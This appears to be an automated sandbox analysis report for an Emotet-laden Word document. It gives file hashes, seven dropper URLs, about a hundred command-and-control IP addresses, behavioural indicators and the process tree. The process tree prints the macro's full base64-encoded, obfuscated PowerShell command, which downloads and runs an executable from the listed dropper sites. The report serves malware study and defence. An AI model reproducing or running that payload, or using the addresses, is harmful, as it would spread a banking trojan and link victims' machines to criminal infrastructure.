emotet | fa680c5aa2331af446abfa3ac5bb00034affc9fb4586702ce3b05bd5fbb15578

Analysis

max time kernel
138s
max time network
147s
platform
windows10_x64
resource
win10v200722
submitted
23/09/2020, 19:59

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
emotet_e1_fa680c5aa2331af446abfa3ac5bb00034affc9fb4586702ce3b05bd5fbb15578_2020-09-23__195758344685._doc.doc
Size 156KB
Sample200923-qpf35f2aee
SHA256 fa680c5aa2331af446abfa3ac5bb00034affc9fb4586702ce3b05bd5fbb15578
MD5 b94bbaf1ccf6e6f9d1d876f4b7b5e6bc
SHA1 34dde6f7b8e2744f9ad4bd0bfdf50a9f25d53b6a
SHA512 57a3a37f4f52c1ca0c9648d0102b6bfd7ea0610611c6fc6ebc4709586af39a305fd7c44891e3709ad941adaba70188f4e584cf167257989988be5d9db28b6c65
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://inflixon.com/wp-admin/472/
exe.dropper
http://bballbreak.com/wp-admin/O/
exe.dropper
http://etiangong.com/h5/Gxm/
exe.dropper
https://lbbniu.com/idealnotify/y/
exe.dropper
http://crashboxcharlotte.com/wp-includes/8/
exe.dropper
http://trendyhome.ltd/img4qrg/c/
exe.dropper
http://104.196.113.47/wp-admin/D/

Extracted

Family

emotet

12.163.208.58:80
45.33.35.74:8080
87.106.253.248:8080
192.241.146.84:8080
190.115.18.139:8080
65.36.62.20:80
170.81.48.2:80
83.169.21.32:7080
185.232.182.218:80
190.2.31.172:80
77.106.157.34:8080
82.230.1.24:80
202.4.58.197:80
201.213.177.139:80
78.249.119.122:80
123.51.47.18:80
77.90.136.129:8080
60.93.23.51:80
152.169.22.67:80
190.117.79.209:80
60.108.144.104:443
213.197.182.158:8080
82.76.111.249:443
209.236.123.42:8080
190.24.243.186:80
177.74.228.34:80
191.182.6.118:80
96.245.123.149:80
61.197.92.216:80
1.226.84.243:8080
111.67.12.221:8080
216.47.196.104:80
185.94.252.27:443
70.116.143.84:80
187.162.248.237:80
217.13.106.14:8080
80.11.164.185:80
35.143.99.174:80
190.190.148.27:8080
219.92.13.25:80
70.32.115.157:8080
96.227.52.8:443
51.75.33.127:80
95.9.180.128:80
174.113.69.136:80
119.106.216.84:80
111.67.77.202:8080
91.105.94.200:80
178.250.54.208:8080
98.13.75.196:80
2.36.95.106:80
186.70.127.199:8090
116.202.23.3:8080
202.134.4.210:7080
50.28.51.143:8080
45.33.77.42:8080
67.247.242.247:80
137.74.106.111:7080
85.214.26.7:8080
181.30.61.163:443
77.238.212.227:80
185.215.227.107:443
186.103.141.250:443
50.121.220.50:80
74.136.144.133:80
104.131.41.185:8080
61.92.159.208:8080
104.131.103.37:8080
51.15.7.189:80
185.94.252.12:80
94.176.234.118:443
212.71.237.140:8080
5.196.35.138:7080
45.46.37.97:80
70.32.84.74:8080
199.203.62.165:80
38.88.126.202:8080
51.159.23.217:443
155.186.0.121:80
51.38.124.206:80
181.129.96.162:8080
64.201.88.132:80
92.24.50.153:80
189.2.177.210:443
45.16.226.117:443
76.168.54.203:80
185.178.10.77:80
220.109.145.69:80
192.81.38.31:80
68.183.170.114:8080
177.73.0.98:443
138.97.60.141:7080
192.241.143.52:8080
217.199.160.224:7080
185.183.16.47:80
177.129.17.170:443
5.189.178.202:8080
74.58.215.226:80
51.255.165.160:8080
12.162.84.2:8080
149.202.72.142:7080
87.106.46.107:8080
188.135.15.49:80
68.183.190.199:8080
172.104.169.32:8080
68.69.155.181:80
72.47.248.48:7080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3936	3868	POWeRsHeLL.exe	72

Emotet Payload 6 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/1144-15-0x00000000006E0000-0x00000000006F2000-memory.dmp	emotet
behavioral2/memory/1144-15-0x00000000006E0000-0x00000000006F2000-memory.dmp	emotet
behavioral2/memory/1144-16-0x00000000001F0000-0x0000000000200000-memory.dmp	emotet
behavioral2/memory/1144-16-0x00000000001F0000-0x0000000000200000-memory.dmp	emotet
behavioral2/memory/2252-19-0x00000000004B0000-0x00000000004C2000-memory.dmp	emotet
behavioral2/memory/2252-19-0x00000000004B0000-0x00000000004C2000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
22	3936	POWeRsHeLL.exe

Executes dropped EXE 2 IoCs

pid	Process
1144	Fre_i1chm.exe
2252	KBDHE.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\DeviceCredential\KBDHE.exe	Fre_i1chm.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3488	WINWORD.EXE
3488	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
3936	POWeRsHeLL.exe
3936	POWeRsHeLL.exe
3936	POWeRsHeLL.exe
2252	KBDHE.exe
2252	KBDHE.exe
2252	KBDHE.exe
2252	KBDHE.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3936	POWeRsHeLL.exe

Suspicious use of SetWindowsHookEx 10 IoCs

pid	Process
3488	WINWORD.EXE
3488	WINWORD.EXE
3488	WINWORD.EXE
3488	WINWORD.EXE
3488	WINWORD.EXE
3488	WINWORD.EXE
3488	WINWORD.EXE
3488	WINWORD.EXE
3488	WINWORD.EXE
3488	WINWORD.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3936 wrote to memory of 1144	3936	POWeRsHeLL.exe	79
PID 3936 wrote to memory of 1144	3936	POWeRsHeLL.exe	79
PID 3936 wrote to memory of 1144	3936	POWeRsHeLL.exe	79
PID 1144 wrote to memory of 2252	1144	Fre_i1chm.exe	81
PID 1144 wrote to memory of 2252	1144	Fre_i1chm.exe	81
PID 1144 wrote to memory of 2252	1144	Fre_i1chm.exe	81

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_fa680c5aa2331af446abfa3ac5bb00034affc9fb4586702ce3b05bd5fbb15578_2020-09-23__195758344685._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3488

C:\Windows\System32\WindowsPowerShell\v1.0\POWeRsHeLL.exe
POWeRsHeLL -ENCOD JABTADcANgAwAG0AYQBjAD0AKAAnAFUAJwArACcAYQAnACsAKAAnAGEAcwAnACsAJwA5ADgAeAAnACkAKQA7ACYAKAAnAG4AZQB3AC0AaQAnACsAJwB0ACcAKwAnAGUAbQAnACkAIAAkAEUATgB2ADoAVQBTAEUAcgBQAHIATwBGAGkATABFAFwAbQBNADMARQAzAG0ASgBcAEcAdgBuADMAUgA5AGwAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAHIAZQBDAHQATwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBDAHUAcgBgAEkAVABgAFkAUAByAG8AVABgAG8AYwBvAGwAIgAgAD0AIAAoACgAJwB0AGwAcwAxACcAKwAnADIAJwApACsAKAAnACwAIAB0AGwAJwArACcAcwAxACcAKQArACcAMQAnACsAJwAsACcAKwAnACAAJwArACgAJwB0ACcAKwAnAGwAcwAnACkAKQA7ACQAVABlAHcAcwBnAGUANgAgAD0AIAAoACcARgByACcAKwAoACcAZQBfAGkAMQAnACsAJwBjACcAKQArACcAaABtACcAKQA7ACQAWQBlAHoAaAB5ADQANQA9ACgAJwBVAGwAJwArACgAJwBrADcAeAAnACsAJwByAGsAJwApACkAOwAkAE8AdwA5AGgAegBjAF8APQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAewAnACsAJwAwAH0ATQBtADMAZQAzACcAKwAnAG0AagB7ADAAJwArACcAfQBHAHYAbgAnACsAJwAzACcAKwAnAHIAOQAnACsAJwBsAHsAMAB9ACcAKQAgACAALQBmACAAWwBDAGgAYQBSAF0AOQAyACkAKwAkAFQAZQB3AHMAZwBlADYAKwAoACcALgAnACsAKAAnAGUAeAAnACsAJwBlACcAKQApADsAJABKADMAbQAzAHQAbgA5AD0AKAAoACcATwAnACsAJwBhADQAbABoACcAKQArACcAXwAnACsAJwA0ACcAKQA7ACQATAB1ADEAbwB2AGsAaAA9AC4AKAAnAG4AZQAnACsAJwB3AC0AbwBiACcAKwAnAGoAJwArACcAZQBjAHQAJwApACAAbgBFAHQALgBXAEUAYgBjAGwASQBFAE4AdAA7ACQASgAzAGYAMgB3AHQAcAA9ACgAKAAnAGgAdAAnACsAJwB0AHAAOgAnACkAKwAoACcALwAnACsAJwAvAGkAbgAnACkAKwAnAGYAJwArACgAJwBsACcAKwAnAGkAeABvAG4AJwApACsAKAAnAC4AJwArACcAYwBvAG0AJwApACsAKAAnAC8AJwArACcAdwBwACcAKQArACcALQAnACsAKAAnAGEAZAAnACsAJwBtAGkAbgAvADQAJwArACcANwAnACkAKwAoACcAMgAnACsAJwAvACoAaAAnACsAJwB0AHQAJwApACsAKAAnAHAAOgAnACsAJwAvACcAKQArACcALwAnACsAKAAnAGIAYgBhAGwAJwArACcAbABiAHIAZQAnACkAKwAoACcAYQBrAC4AYwAnACsAJwBvAG0ALwB3AHAAJwApACsAKAAnAC0AJwArACcAYQBkAG0AaQBuACcAKQArACgAJwAvAE8AJwArACcALwAqAGgAJwApACsAJwB0AHQAJwArACcAcAAnACsAKAAnADoALwAnACsAJwAvAGUAJwApACsAKAAnAHQAaQAnACsAJwBhACcAKQArACcAbgAnACsAKAAnAGcAJwArACcAbwBuACcAKQArACcAZwAuACcAKwAoACcAYwAnACsAJwBvAG0AJwArACcALwBoADUALwAnACkAKwAoACcARwB4AG0AJwArACcALwAnACkAKwAnACoAaAAnACsAJwB0ACcAKwAoACcAdABwACcAKwAnAHMAJwApACsAJwA6ACcAKwAoACcALwAvACcAKwAnAGwAJwApACsAKAAnAGIAJwArACcAYgBuACcAKQArACgAJwBpACcAKwAnAHUALgAnACkAKwAoACcAYwBvACcAKwAnAG0AJwApACsAKAAnAC8AJwArACcAaQBkAGUAYQAnACkAKwAnAGwAJwArACgAJwBuAG8AJwArACcAdAAnACkAKwAnAGkAJwArACgAJwBmAHkALwB5AC8AJwArACcAKgBoACcAKwAnAHQAdAAnACkAKwAnAHAAOgAnACsAJwAvACcAKwAnAC8AYwAnACsAJwByACcAKwAnAGEAcwAnACsAKAAnAGgAYgAnACsAJwBvACcAKQArACcAeAAnACsAKAAnAGMAaABhAHIAJwArACcAbAAnACkAKwAnAG8AdAAnACsAKAAnAHQAZQAnACsAJwAuACcAKQArACgAJwBjAG8AJwArACcAbQAnACkAKwAnAC8AJwArACcAdwAnACsAKAAnAHAALQBpAG4AJwArACcAYwAnACkAKwAoACcAbAB1ACcAKwAnAGQAJwApACsAJwBlAHMAJwArACcALwAnACsAKAAnADgAJwArACcALwAqAGgAdAB0ACcAKwAnAHAAOgAvACcAKQArACcALwB0ACcAKwAnAHIAJwArACgAJwBlACcAKwAnAG4AZAAnACkAKwAoACcAeQBoAG8AJwArACcAbQAnACkAKwAoACcAZQAuACcAKwAnAGwAJwApACsAJwB0AGQAJwArACgAJwAvAGkAbQAnACsAJwBnADQAJwArACcAcQByACcAKQArACcAZwAnACsAKAAnAC8AYwAvACcAKwAnACoAJwApACsAKAAnAGgAdAB0AHAAJwArACcAOgAvAC8AMQAnACsAJwAwADQALgAnACkAKwAnADEAOQAnACsAKAAnADYAJwArACcALgAxACcAKQArACgAJwAxADMAJwArACcALgAnACkAKwAoACcANAA3AC8AJwArACcAdwAnACsAJwBwAC0AYQAnACkAKwAnAGQAJwArACgAJwBtAGkAJwArACcAbgAvAEQALwAnACkAKQAuACIAcwBQAGAATABpAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABRADYAYwA5AHcAdgBtAD0AKAAoACcAUgAnACsAJwAzAGQAbQB4ACcAKQArACcAbQA1ACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEIAYwBxAHcAbQBhADYAIABpAG4AIAAkAEoAMwBmADIAdwB0AHAAKQB7AHQAcgB5AHsAJABMAHUAMQBvAHYAawBoAC4AIgBEAG8AVwBOAGAATABgAG8AQQBkAEYAYABpAGwAZQAiACgAJABCAGMAcQB3AG0AYQA2ACwAIAAkAE8AdwA5AGgAegBjAF8AKQA7ACQAUwA0AG4AbAA3AHYAMAA9ACgAKAAnAEUAagAnACsAJwB5ACcAKQArACgAJwB5AF8AJwArACcAcwAnACkAKwAnADAAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0AJwArACcASQAnACsAJwB0AGUAbQAnACkAIAAkAE8AdwA5AGgAegBjAF8AKQAuACIAbABlAGAATgBnAGAAVABIACIAIAAtAGcAZQAgADMANgA2ADEAMQApACAAewAmACgAJwBJACcAKwAnAG4AdgBvAGsAZQAtAEkAdAAnACsAJwBlACcAKwAnAG0AJwApACgAJABPAHcAOQBoAHoAYwBfACkAOwAkAFEAagA0AG8AbQA1ADMAPQAoACcAQwAnACsAJwBjADMAJwArACgAJwBqACcAKwAnAHcANQBpACcAKQApADsAYgByAGUAYQBrADsAJABEAHcAcAB3AHMANABiAD0AKAAnAE4AJwArACgAJwAzAG4AJwArACcAOQB6AGoAZwAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQASAA1AGEAYwBhAGsAbgA9ACgAKAAnAFAANwAnACsAJwAzAHMAJwApACsAKAAnAGgAJwArACcAbQB1ACcAKQApAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3936
- C:\Users\Admin\Mm3e3mj\Gvn3r9l\Fre_i1chm.exe
  "C:\Users\Admin\Mm3e3mj\Gvn3r9l\Fre_i1chm.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of WriteProcessMemory
  PID:1144
- - C:\Windows\SysWOW64\DeviceCredential\KBDHE.exe
    "C:\Windows\SysWOW64\DeviceCredential\KBDHE.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:2252

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1144-16-0x00000000001F0000-0x0000000000200000-memory.dmp

Download

memory/1144-15-0x00000000006E0000-0x00000000006F2000-memory.dmp

Download

memory/2252-19-0x00000000004B0000-0x00000000004C2000-memory.dmp

Download

memory/3488-0-0x00007FFCCEBC0000-0x00007FFCCF286000-memory.dmp

Download

memory/3488-5-0x000001CB5737D000-0x000001CB5739D000-memory.dmp

Download

memory/3936-11-0x00000217E23D0000-0x00000217E23D1000-memory.dmp

Download

memory/3936-10-0x00000217E20A0000-0x00000217E20A1000-memory.dmp

Download

memory/3936-9-0x00007FFCC7980000-0x00007FFCC836C000-memory.dmp

Download